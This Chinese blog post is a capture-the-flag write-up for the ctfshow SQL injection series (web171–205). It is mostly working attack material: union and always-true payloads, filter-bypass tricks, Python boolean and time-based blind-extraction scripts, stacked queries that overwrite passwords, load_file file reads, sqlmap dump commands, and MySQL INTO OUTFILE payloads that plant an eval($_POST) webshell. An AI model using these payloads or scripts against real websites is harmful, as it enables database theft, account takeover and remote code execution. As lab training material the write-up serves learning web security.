本文已参与「新人创作礼」活动,一起开启掘金创作之路。
前言
师傅们加油!!!
题目
web 171(万能密码)
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
id存在注入,可以直接用万能密码' or 1=1 %23,这时候#会把后面过滤了, where username !='flag' and id = '' or 1=1 %23条件恒成立,select语句返回所有结果
web 172(回显内容过滤,base64或者hex编码绕过)
(猫猫挺好玩的)
发现对username的回显内容进行检测
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
可以用base64编码或者hex编码绕过,to_base64(),hex()
' union select hex(username),password from ctfshow_user2 where username='flag
web 173(回显内容过滤,base64或者hex编码绕过)
对比上题,对所有回显内容都做了检测
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
由于flag格式是ctfshow{XXX},所以我们的flag不会检测到,直接用上题的payload,把ctfshow_user2改成ctfshow_user3
' union select 1,hex(username),password from ctfshow_user3 where username='flag
突然想起来,如果flag格式是ctfshow{XXX}话,过滤flag并没有什么影响,已经知道表名,可以直接查询password拿到flag
' union select 1,1,password from ctfshow_user3 where username='flag
web 174 (布尔盲注丶trim盲注丶replace替换字符)
过滤更严格了,数字也会被检测到
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
试过了编码,都没有回显,应该是编码后还是存在数字,只能换个方法了
想到可以用盲注去解,保险起见现在burp抓包根据请求包写个盲注脚本,因为ctfshow的flag是用了uuid加密,可以直接构造uuid字典uuid=string.ascii_lowercase+"-}{"+string.digits
flag格式ctfshow{xxxxxxxx(8)-xxxx(4)-xxxx(4)-xxxx(4)-xxxxxxxxxxxx(12)}
其中每个 x 是 0-9 或 a-f 范围内的一个十六进制的数字。
布尔盲注
import requests
import string
url="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show//api/v4.php?id=1'"
uuid=string.ascii_lowercase+"-}{"+string.digits
flag=""
for i in range(1,46):
for j in uuid:
payload = "and ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag') from {0} for 1))={1}--%20&page=1&limit=10".replace(" ", "/**/").format(i,ord(j))
res = requests.get(url+payload)
print(j)
if "admin" in res.text:
flag += j
print("flag=",flag)
break
else:
pass
trim盲注
# @Author:Kradress
import requests
import string
url="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show/api/v4.php?id=1'"
uuid=string.ascii_lowercase+"-}{"+string.digits
flag="ctfshow{"
for i in range(1,46):
for j in uuid:
payload = f"and trim(leading '{flag}{j}' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))=trim(leading '{flag}.' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))--%20".replace(" ", "/**/")
res = requests.get(url+payload)
print(j)
if "admin" not in res.text:
flag += j
print("flag=",flag)
break
else:
pass
看了下群主的思路,可以用replace函数去把数字替换成其他字符
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0',')'),'9','('),'8','*'),'7','&'),'6','^'),'5','%'),'4','$'),'3','#'),'2','@'),'1','!')
# "a1b2c3d4e5" => "a!b@c3d4e5"
web 175(时间盲注 二分法和Mysql写webshell)
本身自己写了一个时间盲注的脚本,但是表现不佳,跑的速度太慢了,参考了Y4tacker师傅的脚本,用了二分法
import requests
url = "http://82f3585f-b6e9-42c4-b8fa-6bd57cf51887.challenge.ctf.show/api/v5.php?id=1'"
result = ''
for i in range(1,40):
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
payload = "and if(ascii(substr((select password from ctfshow_user5 where username = 'flag' ),{0},1))>{1},sleep(3),1)%23".format(i,mid)
try:
r = requests.get(url + payload, timeout=0.5)
tail = mid
except:
head = mid + 1 #sleep导致超时
if head != 32:
result += chr(head)
print(result)
else:
break
还有种办法是MySQL写webshell,可以用outfile和dumpfile来写shell
联合查询
?id=' UNION ALL SELECT 1,2,'<?php echo 123;eval($_POST[0]);?>',3 into outfile '/var/www/html/1.php' %23
?id=' UNION ALL SELECT 1,2,'<?php echo 123;eval($_POST[0])?>',3 into dumpfile '/var/www/html/1.php' %23
web 176(大小写绕过)
用order by,得知表有3列,发现select被过滤,但可以用大小写绕过
1' union sElect 1,2, group_concat(password) from `ctfshow_user`--
web 177(过滤空格)
可以用这些代替空格
%09
%0a
%0d
%0c
/**/
+
1'%0aunion%0asElect%0a1,2,%0agroup_concat(password)%0afrom%0a`ctfshow_user`%23
web178 (过滤空格)
上题的也可以解出来,换个方式
1'or'1'='1'%23
web179 (过滤空格)
%0c没被过滤
1'%0cunion%0csElect%0c1,2,%0cgroup_concat(password)%0cfrom%0c`ctfshow_user`%23
web180 (过滤空格)
发现#也被过滤了,而且只能回显一行
-1'%0cunion%0csElect'1',(sElect%0cgroup_concat(password)from`ctfshow_user`),'3
web181
过滤了所有空格
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
-1'or(username)='flag
web182
这次过滤了flag,不过可以通过查询id来那道flag
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}
看了下上题,flag的id是26
-1'or(id)='26
web183 (like盲注)
直接写个盲注脚本吧
import requests
import string
url = 'http://ec30edd1-31ee-45ae-9db4-7db5f4b6c83d.challenge.ctf.show/select-waf.php'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = "`ctfshow_user`where(pass)like'ctfshow{"
for i in range(40):
for char in uuid:
data = {
'tableName' : passwd +f"{char}%'"
}
res = requests.post(url, data=data)
if "$user_count = 1;" in res.text:
passwd += char
print(passwd)
break
web184 (regexp 盲注)
比上题更加严格,但是可以用空格
import requests
import string
url = 'http://e62dd2da-6dc5-4d4c-8907-ab198e411f30.challenge.ctf.show/select-waf.php'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = 'ctfshow_user group by pass having pass regexp(0x63746673686f777b' #ctfshow{
for i in range(40):
for char in uuid:
data = {
'tableName' : passwd +f"{hex(ord(char))[2:]})"
}
res = requests.post(url, data=data)
if "$user_count = 1;" in res.text:
passwd += hex(ord(char))[2:]
print(passwd)
break
web185(过滤数字)
| expression | 值 |
|---|---|
| false | 0 |
| true | 1 |
| true+true | 2 |
| floor(pi()) | 3 |
| ceil(pi()) | 4 |
| floor(pi())+true | 5 |
| floor(pi())+floor(pi()) | 6 |
| floor(pi())+ceil(pi()) | 7 |
| ceil(pi())+ceil(pi()) | 8 |
| floor(pi())*floor(pi()) | 9 |
| floor(pi())*floor(pi())+true | 10 |
waf不让用数字和字符串(过滤单引号双引号),可以用regex(concat(char(xxx),char(xxx)...))解
# @Author:Kradress
from operator import concat
import requests
import string
url = 'http://814f9d18-e43c-4dad-bdb7-489f7a423606.challenge.ctf.show/select-waf.php'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = 'ctfshow_user group by pass having pass regexp(' #ctfshow{
flag = 'ctfshow{'
def numToStr1(str):
parts = []
for s in str:
parts.append(numToStr2(s))
res = ','.join(parts)
return f"concat({res})"
def numToStr2(num):
parts = []
n = ord(num)
for i in range(n):
parts.append("true")
res = "+".join(parts)
return f"char({res})"
for i in range(40):
for char in uuid:
data = {
'tableName' : passwd + f"{numToStr1(flag+char)})"
}
res = requests.post(url, data=data)
if "$user_count = 1;" in res.text:
flag += char
print(flag)
break
web186(过滤数字)
同上
web187(md5($password,true) 万能密码)
看到md5($password,true),立马想到可以用万能密码绕过
ffifdyop
129581926211651571912466741651878684928
web188 (mysql弱类型比较)
参考博客 MySQL学习之弱类型
进行下列语句查询的时候,会发生隐式的数据类型转换,当username为0的时候,也会返回所有username为非0开头的字符串
$sql = "select pass from ctfshow_user where username = {$username}";
username=0&password=0
web189(盲注读文件)
题目提示flag在/api/index.php中,猜测用load_file读文件.可以用like或者regexp匹配,也可以用loacte函数获取flag的下标,然后截取比较
盲注的话要寻找判断回显的地方,可以发现当用户名和密码为0时,显示密码错误,用户名为其他值的时候显示查询失败.
题目把and or & |都过滤了,不过 where username = {$username} 没有引号包裹可以直接传数字.用if或者case就可以了
# @Author:Kradress
from operator import concat
import requests
import string
url = 'http://2e697a15-84fe-4c2d-988f-37edb5260613.challenge.ctf.show/api/'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = "if(load_file('/var/www/html/api/index.php')regexp('ctfshow{" #ctfshow{
flag = 'ctfshow{'
for i in range(40):
for char in uuid:
print(char)
data = {
'username' : passwd + f"{char}'),0,1)",
'password' : 0
}
res = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text:
passwd += char
print(passwd)
break
web190(时间盲注)
发现没对username进行过滤,可以用sleep,直接上时间盲注
exp
# @Author:Kradress
import requests
url = "http://3cc6c564-6d1b-445c-9503-2cd45a50ea3c.challenge.ctf.show/api/"
result = ''
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'"
#爆字段值
payload = "select f1ag from `ctfshow_fl0g`"
for i in range(40,50):
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
# print(mid)
data = {
'username' : f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
'password' : 0
}
try:
r = requests.post(url, data, timeout=0.8)
tail = mid
except:
head = mid + 1 #sleep导致超时
if head != 32:
result += chr(head)
print(result)
else:
break
web191(时间盲注)
ascii改同名函数ord,其他同上
web192(时间盲注)
不给用ascii就不用了
exp
# @Author:Kradress
import requests
import string
url = "http://36918409-2772-42d0-8ecb-bfbad2f46695.challenge.ctf.show/api/"
result = ''
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'"
#爆字段值
payload = "select f1ag from `ctfshow_fl0g`"
uuid = string.ascii_lowercase+string.digits+"{-_}"
for i in range(1,50):
for char in uuid:
data = {
'username' : f"admin' and if(substr(({payload}),{i},1)='{char}',sleep(3),1)#",
'password' : 0
}
try:
r = requests.post(url, data, timeout=0.8)
except:
result += char #sleep导致超时
print(result)
break
if char == '}':
break
web193(时间盲注)
strsub不给用了,mid、leift、right都可以
right
从右边开始截取,配合ascii使用.
ascii('str')返回字符串的第一个字符的ascii码
ascii(right('abc',2))= 97相当于 ascii('bc')=97
left
从左边开始截取,用reverse反转
ascii(reverse(left('abc',2))) = 97 相当于 ascii('bc')=97
mid和strsub效果一样,代码同上
web194(时间盲注)
继续白嫖
web195(update改密码)
本身开始想用下列语句的,但是返回查询失败
admin;update`ctfshow_user`set`pass`=123
检查了下语句没有被过滤,但是发现$username没有被单引号包裹,可以用十六进制或者unhex(hex())绕过
$sql = "select pass from ctfshow_user where username = {$username};";
payload
username=0x61646d696e;update`ctfshow_user`set`pass`=123&password=123
web196
长度限制了又过滤了select,除了爆破想不到还有什么方法可以解出来
看了其他师傅wp,实际上没有过滤select...
username=0;select(1)&password=1
web197-198(插入数据)
into被禁用了但是insert还能用
username:0;insert ctfshow_user(`username`,`pass`) value(0,0);
passworf:0
web199-200(插入数据)
由于是row[0]==$password比较,show tables的row[0]结果就是ctfshow_user
username: 0;show tables;
password: ctfshow_user
web201(sqlmap-GET)
好久没用sqlmap了,还得看一下之前学习的文档
提示:
f12拿到referer
直接跑sqlmap
sqlmap -u http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/api/?id=1 --refer=http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/sqlmap.php
得知id存在注入点,还列举了布尔时间盲注以及联合注入的payload
以下为sqlmap常见的用法
当前数据库
参数:--current-db
返还当前连接的数据库。
列举数据库表
参数:--tables,--exclude-sysdbs,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。
如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。
--exclude-sysdbs参数是指包含了所有的系统数据库。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。
列举数据库表中的字段
参数:--columns,-C,-T,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。
如果没有使用-D参数指定数据库时,默认会使用当前数据库。
获取整个表的数据
参数:--dump,-C,-T,-D,--start,--stop,--first,--last
如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。
使用-D,-T参数指定想要获取哪个库的哪个表,不适用-D参数时,默认使用当前库。
爆表名
sqlmap -u http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/api/?id=1 --refer=ctf.show --current-db --tables
爆字段
sqlmap -u http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/api/?id=1 --refer=ctf.show --current-db --tables -T ctfshow_user --columns
爆字段值
sqlmap -u http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/api/?id=1 --refer=ctf.show --current-db --tables -T ctfshow_user --columns -C pass -dump
web202(sqlmap-POST)
这题要用post传参
#http数据
#参数 --data
#此参数是把数据以post方式提交,sqlmap会自动检测post参数
sqlmap.py -u http://192.168.0.103/06/vul/sqli/sqli_id.php --data="id=1&submit=查询"
直接爆字段值
sqlmap -u http://8871fb1e-1ab8-45d4-af62-eda76e077947.challenge.ctf.show/api/ --data="id=1" --refer=ctf.show --current-db --tables -T ctfshow_user --columns -C pass -dump
web203(sqlmap-PUT)
--method 指定 put 请求方式,url 要带 index.php,还要加上 --headers="Content-Type: text/plain" 便于 put 接收表单参数。
直接爆字段值
sqlmap -u http://7839878a-635c-449f-b72a-941bbb3d9977.challenge.ctf.show/api/index.php --method=PUT --headers="Content-Type: text/plain" --data="id=1" --refer=ctf.show --current-db --tables -T ctfshow_user --columns -C pass -dump
web204(sqlmap-cookie)
--cookie 输入cookie的请求参数
F12拿到cookie值
直接爆字段值
sqlmap -u http://ffe9c741-aee2-4314-bfd3-39845cc9c872.challenge.ctf.show/api/index.php --cookie=c3fda8fa42ca6b9d76d76a2eee8a97be --method=PUT --headers="Content-Type: text/plain" --data="id=1" --refer=ctf.show --current-db --tables -T ctfshow_user --columns -C pass -dump
web205(暂时休息)
抓包发现先访问/api/getToken.php页面,验证PHPSESSID后才能通过,去访问/api/
直接爆字段值
sqlmap -u http://ffe9c741-aee2-4314-bfd3-39845cc9c872.challenge.ctf.show/api/index.php --method=PUT --headers="Content-Type: text/plain" --data="id=1" --refer=ctf.show --current-db --tables -T ctfshow_user --columns -C pass -dump
总结
...